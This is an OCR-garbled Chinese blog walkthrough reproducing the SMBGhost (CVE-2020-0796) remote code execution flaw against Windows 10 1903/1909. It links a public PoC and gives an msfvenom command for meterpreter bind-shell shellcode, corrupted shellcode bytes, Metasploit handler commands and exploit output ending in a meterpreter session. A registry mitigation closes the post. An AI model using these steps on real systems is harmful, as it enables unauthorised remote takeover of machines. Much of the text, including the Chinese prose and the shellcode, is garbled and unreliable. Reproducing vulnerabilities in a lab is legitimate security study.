CVE-2020-0796: =&k SMBv3 {iMYRCEEI

Loading Timeline Sec
2020-06-05/8X

KRT 1A
#HimAENNEGE
701
RELFESFEHXEERND, —EERL!

AXIEE: Loading (EIAEMARKR)
FXFH: 940

PR : 3~4min

=ip: EPREEZRE, EWERBHRK

0x01 @&

SMB( & R 2 Server Message
Block)2— MhiNB, EBEEHATWebEENMERimSRSHEZE
NEEEE,

0x02 iRtk

(CVE-2020-0796

SMBGhost)iziFEEHEFSMBVIthiX ELE RSN E4HEHIESR
HIEMERRN, EFILEEAEREFHRIENNEETBRRF LR
TEERE. ZRRENER+TSEEXKEZERY, MAAWiIndow

S


javascript:void(0);
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SMBIRRZRENERNAEZAAEZRSNER, WannaCry#IRIZERHmEF
AxiEZHERYRREI GRS AR,

0x03 ElmhR%s

o IEATFI2MESZHIWindows 105Rr41903

e Windows 10 1903k (BBFETFx64H9EK%)

e Windows 10 1903k (BBFEFARMGARRS)
e Windows Server 1903k (BRSBELOHLRE)

o IEAHTF 32U RFHIWindows 10hrA<1909

e Windows 10frZA<1909 (HFETx6409FE %)

e Windows 10 1909kt (FBFEFARMGANES)
e Windows ServerfgA&A1909 (IR L)

0x04 RIFHEE

KaligZ#l#Hl AR windows10EHIH1
AR PEBZEWIN10R G KFTEN, DEE:

ed2k://|file|cn_windows_10 business_editions_version_1903 x64_

dvd_e@01dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D | /
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EXPibif:
https://github.com/chompiel337/SMBGhost_RCE_PoC



ZexpfEARIEApython3
THEHTHKEH ZexpEIKali EHH
Biimsft, ERAmMmsf4&pshellcode

WLN:
msfvenom -p windows/x64/meterpreter/bind tcp lport=3333 -f py -
o shellcode.txt

HITZHnSEEEREER—Pshellcode.txt, EEMMBshellcod
eBtexpHfexploit.py+HHJUSER PAYLOADREFEDT],



USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER_PAYLOAD
USER PAYLOAD
USER PAYLOAD
USER PAYLOAD

= &

# Reverse shell

Kali

generated by msfvenom. Can you believe I had to download K

bll Ll

= b"\xfo\x48\ xB1\ xed\ x O\ x T\ x i x i xed8\ xcc\ x00\ x0e\ x00"

b"y\x41\x51\ x4 1\ x50\ x52\ x51\x56\ x48\x31\ xd2\ x65\ x48\ x8b"
b"\ %52\ x60\x48\ x8b\ x52\ x 18\ x48\ x8b\x52\ x20\ x48\ x8b\x72"
b" x50\ x48\ x0T\ xb7\ xda\ x4a\ xdd\ x3 1\ xc\ x48\ x31\ xco\ xac"
b"\x3cA\XBI\XTCAXO2\ X2\ X2\ x4 I\ X\ XcN x0d\ x4 1\ x0T\ xc1"
b"\xe2\ xed\x52\ x41\x51\ x48\ x8b\ x52\x20\ xBb\ x42\ x3c\ x48"
b"\x01\xd@\x66 x81\x78\ x 18\ x0b\ x02\ x0T\ xB85\x72\ x00\x00"
b"\x00\xBb\xBO\ X888\ x00\ x00\ x00\ X488\ XBE\ XCO\XT4\ Xx67\ 48"
b"\x01\ xd@\ x50\ x8b\ x48\ x 18 x4\ xBb\ x40\ x20\ x49\ x01\ xdO"
b"\xe3\x56\x48\ x T\ xco\ x41\x8b\ x34\ x88\ x48\x0 1\ xd6\ x4d"
b"\ %314\ xc2\ x48\ x31\ xcO\ xac\ x4 1\ xc 1\ xcO\ x0d\ x41\ x01\xcl"
b"\x38\ xe@\ X753\ xT1\ x4\ x03\ x4\ x24\ xD8\ x 453\ X399\ xd 1\ x75"
b"\xd8\ x58\ x44\ x8b\ x40\ x24\ x4\ x0 1\ xd0\ x66\ x4 1\ x8b\ xBC"
b"yx48\ x44\ x8b\ x40\ x1c\ x4\ x0 1\ xd@\ x41\ x8b\ x84\ x88\ x48"
b"\x01\xd@\ x41\ x58\ x41\ x58\ x5\ x5\ x5a\ x4 1\ x58 \ x41\x59"
b"\x41\x5a\ x48\x83\ xec\ x20\ x4 1\ x52\x T\ xed\ x58\ x41\x59"
b"\x5a\x48\xBb\ x 12\ xe\ x4b\ x T\ X T\ x T\ x5d\ x49\ xbe\ x77"
by XT3\ X324\ 5T\ X33\ x32\ x00\ x00\ x41\ x56 x49\ x89\ xeb\ x48"
b"\x81\xec\xa®\ x01\ x00\ x00\ x49\ x89\ xe5\ x48\x31\ xca\x58"
b" x50\ x4 X7\ Xcd\ XO2\ x00\ x0d\ X053\ x4 1\ x54\ x49\ x 89\ xed"
b"\ x4\ xBNxT1\ x4 1\ xba\ x4\ x7 T\ X266\ x0T\ x T\ xd5\ x4c\ x89"
b"\xea\ x68\x01\x01\x00\x00\x59\ x41\xba\ x29\ x80\ x6b\ x00"
b"\ x Ty xd5\x6a\ x02\ x5\ x50\ x50\ x4d \x3 1\ xc\ x4d\ x31\xcO"
b"\x48\x T\ xco\ x48\x8\ xc2\ x4\ xba\ xea \ x0T\ xd T\ xe@\ xTT"
b"\xd5\ x48\xBO\ xc7\ x6a\ x 10\ x4 1\ x58 x4\ xBA\ xe2\ x48\ x89"
b"\xfo\x41\xba\xc2\xdb\x37\x6 7\ x T\ xd5\ x48\x3 1\ xd2\ x48"
b"\x89\x T\ x41\ xba\xb7\ xe\ x38\ x TR\ x T\ xd5\ x4d\ x31\ xc"
b"\x48\x31\xd2\ x48\ x8N x T\ x4 1\ xba\ x74\ xec\ x3b\ xel\ xTT"
b"\xd5\ x48\xBO\ x T\ 148\ X8\ xcT\ x4 1\ xba\ x 75\ x6e\ x4d\ x61"
b\ x T\ xd5\x48\ xB81\xcd\ xbO\xO2\ xBO\XxO0\ x48\ x83 \ xec\x10"
b"\ %48\ x89\ xe2\ x4d\ x31\ xcI\x6a\ x04\ x41\ x58\ x48\ x8I\x 9"
b"\x41\ xba\x02\ xdI\ xcB\ X5\ x T\ xd5\ x48\ x B3\ xcd4\ x 20\ x5e"
b"\xB9\xTE\ 62\ x40\ x41\ x5\ X68\ x00\ x 10\ x00\ x00\ x41\ k58"
b"\x48\xBNx T2\ x48\ x3 1\ xc\ x4 1\ xba\ x58\ xad\ x53 \ xes\ xTT"
b\ xd5\x48\ k89 \ xcI\ x4\ kBN X7\ x4d\ x3 1\ xc\ x4\ x B\ xTO"
b"\x48\x89\ xda\ x48\ xBN kT x4 1\ xba\ x02\ xd I\ xcB\ x5 T\ KT T"
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msf5 > use exploit/multi/handler



msf5 exploit(multi/handler) > set payload
windows/x64/meterpreter/bind_tcp #15 B S G

msf5 exploit(multi/handler) > set rhost 192.168.1.103
#1%E H AR AL IPHHE

msf5 exploit(multi/handler) > set lport 3333 HIE I T i

msf5 exploit(multi/handler) > exploit

£ Kali & #H N exp X # F , #H 17 exp X

python3 exploit.py -ip 192.168.31.137
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MTL

Interface 4

Name

MTLU

rgr r
[*] 192.168.
meterpreter

Hardware MAC :

IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPvE6 Netmask :

Hardware MAC .

IPv4 Address :
IPv4 Metmask :
IPvEe Address :
IPvG Netmask :

root{@bogon: ~/Desktop

: Software Loopback Imterface 1
aB8:28:80:80:86:88

t 4294967295

127.6.6.1

255.6.8.8

i:l

ffffffff i ffff e ffff i fFfffeffffefffffffs

Intel(R}) 82574L Gigabit Network Connection
@8:B0c:29:95:28:12

1580

192.168.31. 137

255.255.255.8

fesd: :48T9:a7e9: 2664 : 6b82
fEff:fEFf:FFFF.FFFF::

=

31.137 - Meterpreter session 1 closed. Reason: Died
=

MEMKBERINTENERS :

1. msfi 0 O # &5 B

2.windows10iR EEHNEHREEHNIT4NT
3.shellcodesk B 1F

4. expig O msfIFEROAR—

0x06 {ZE5

BRI BEXRBARNTLMEERIE, # T REGEE:

https://portal.msrc.microsoft.com/zh-cn/security-

guidance/advisory/CVE-2020-0796

HEMATLAERALI TPowerShellig SERASMBVIIRFESE (L£F
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[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
l[+]

found low stub a
PML4 at ladeoe

base of HAL heap
found PML4 self-
found HalpInterrs
found HalpApilcRe
built shellcode!
KUSER SHARED DAT!
KUSER SHARED DAT!
Wrote shellcode :
Press a key to e
overwrote HalpIn

root@bogon :~/Desktop,

found low stub a
PHML4 at ladege

base of HAL heap
found PML4 self-
found HalpInterrs
found HalpApilcRe:
built shellcode!
KUSER SHARED DAT/
KUSER SHARED DAT/
Wrote shellcode .
Press a key to e



Set-ItemProperty -
Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Param

eters" DisableCompression -Type DWORD -Value 1 -Force

tAMRIE BT LIS 22 1E SM BRI R E TR [ M SR B I &5

SEHEE:
https://ricercasecurity.blogspot.com/2020/04/ill-ask-
your-body-smbghost-pre-auth-rce.html
https://mp.weixin.qg.com/s/Nfx UybYOMOx3C8tKND0zQ
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https://mp.weixin.qq.com/s/pCf4axTKLq02EobguVllIw#rd

